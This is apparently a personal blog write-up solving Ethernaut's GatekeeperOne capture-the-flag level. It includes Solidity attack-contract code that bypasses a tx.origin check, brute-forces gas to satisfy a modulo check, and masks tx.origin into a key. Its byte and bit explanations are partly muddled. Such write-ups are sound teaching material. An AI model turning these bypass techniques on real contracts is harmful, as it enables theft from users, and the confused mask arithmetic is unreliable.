Ethernaut Challenge 13 - GateKeeper One

This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereum smart contracts. I completed all of the challenges but this is the only one I wrote up. For a complete set of solutions I created using the now deprecated Python Brownie framework, see them at the following link:

Description & Original Code

GatekeeperOne is a smart contract challenge where requirements must be satisfied through multiple checks. If each requirement (or gate) can be bypassed, the challenge is completed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Pass Gate 1

We learned about tx.origin in Ethernaut challenge #4 (Telephone). This requirement can be achieved by using an attack contract, which will be used as the msg.sender, while tx.origin will be our original wallet.

Pass Gate 2

This gate checks that the amount of gas left is divisible by 8191.

I don’t like javascript so I’ve tried to stick with brownie/python as my development framework which controls solidity. However, remix is really great for solidity dev and debugging.

  • The remix debugger displays the amount of gas and remaining gas.
  • Different Solidity compiler versions will calculate gas differently. And whether or not optimization is enabled will also affect gas usage

Go read the Pass Gate 3 section, then keep reading

Within the attack contract, we add this function:

1
2
3
4
5
6
function enter() public returns(bool) {
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);
(bool success,) = victim.call.gas(9999)(payload);
require(success, "failed somewhere...");
return success;
}

We’re using 9999 as a random guess that we’ll use to calculate offsets.

Deploy GateKeeperOne and AttackGateKeeperOne. Call enter() and debug.

Here we’re debugging on line 17 and we can see our remaining gas within the “Step details” menu is 9756.

Remix Debugger

We need our remaining gas to be divisible by 8191…

9999 - 9756 = 243 This is the amount of gas used to get to the gateTwo check
8191 + 243 = 8434 This is the initial gas required to have remaining gas = 8191 at the gateTwo check

We came to 8434 within our debugger but this might not always be the case. This is something specific to the compiler, flags, and other EVM settings. The following function (within our attacker contract) allows us to “spray” function call attempts using .call which won’t cause a revert. Here we’ll scan within 120 units of our gas estimate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function enter() public returns(bool) {

bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);

uint approximateGasTarget = 243;
uint padding = 60;

// now we will use .call to specify different gasses. call will not generate reverts
// gas offset usually comes in around 243, give a buffer of 60 on each side
for (uint256 i = 0; i < padding*2; i++) {
(bool result, bytes memory data) = victim.call.gas(
i + (approximateGasTarget-padding) + 8191 * 3
)(
payload
);
if(result)
{
break;
}
}
}

Pass Gate 3

Original:

1
2
3
4
5
6
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");

require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");

require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

Just like math equations we can cancel out the casts that exist on both sides to simplify:

  • Note that uint32( uint64(key) ) == uint32(key) because it basically undoes the operation
1
2
3
4
5
require(uint32(_gateKey) == uint16(_gateKey));

require(uint32(_gateKey) != uint64(_gateKey));

require(uint32(_gateKey) == uint16(tx.origin));
Check 1

For the checks, let’s visualize the two variables by starting off with all the bits being available for bitwise operations (set to 1).

uint32 uint16
0x11111111 == 0x1111

We want these to be equal. That can be achieved by turning the 4th left-most bytes of the uint32 to 0.

Mask: 0x0000FFFF

Check 2

Since we know what mask we need for check one, we’ll start off with that (in binary form).
Var A stays the same as the mask because those are the only bytes available.
Var B gets prepended with 8 bytes (1’s) because there are 8 extra bytes that we want available for bitwise operations.

uint32 (A) uint64 (B)
0x00001111 != 0x1111111100001111

We want these vars to NOT be equal. If the 8 left-most bytes (1’s) of var B don’t get accounted for, the results will always be equal. Therefore we must account for those bytes by setting them to 1.

Mask: 0xFFFFFFFF0000FFFF

Check 3

We need the key’s first 16 bytes to contain the tx.origin
However in reality the key is only 8 bytes so we can AND our mask with the 8-byte version of tx.origin to get the final key.

1
bytes8 key = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

This didn’t compile on solidity 0.6.0. After googling, I found that this is equivalient:

1
key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

Conclusion

This was a great challenge for learning how to approach satisfying multiple requirements within solidity. Ultimately critical vulnerabilities are often a chain of condition bypasses so this gives us some helpful context. I completed this challenge by coding the runtime execution in python which is available in my GitHub.


References:
https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009

  • Copyrights © 2021-2024 blindCyber

请我喝杯咖啡吧~

支付宝
微信